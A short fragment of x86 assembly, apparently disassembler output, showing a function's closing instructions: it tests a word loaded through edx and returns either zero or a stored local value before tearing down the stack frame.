movzx eax, word [edx]
test eax, eax
jne 0x100204d1
xor eax, eax
jmp 0x100204d4
mov eax, dword [ebp - 4]
mov esp, ebp
pop ebp
ret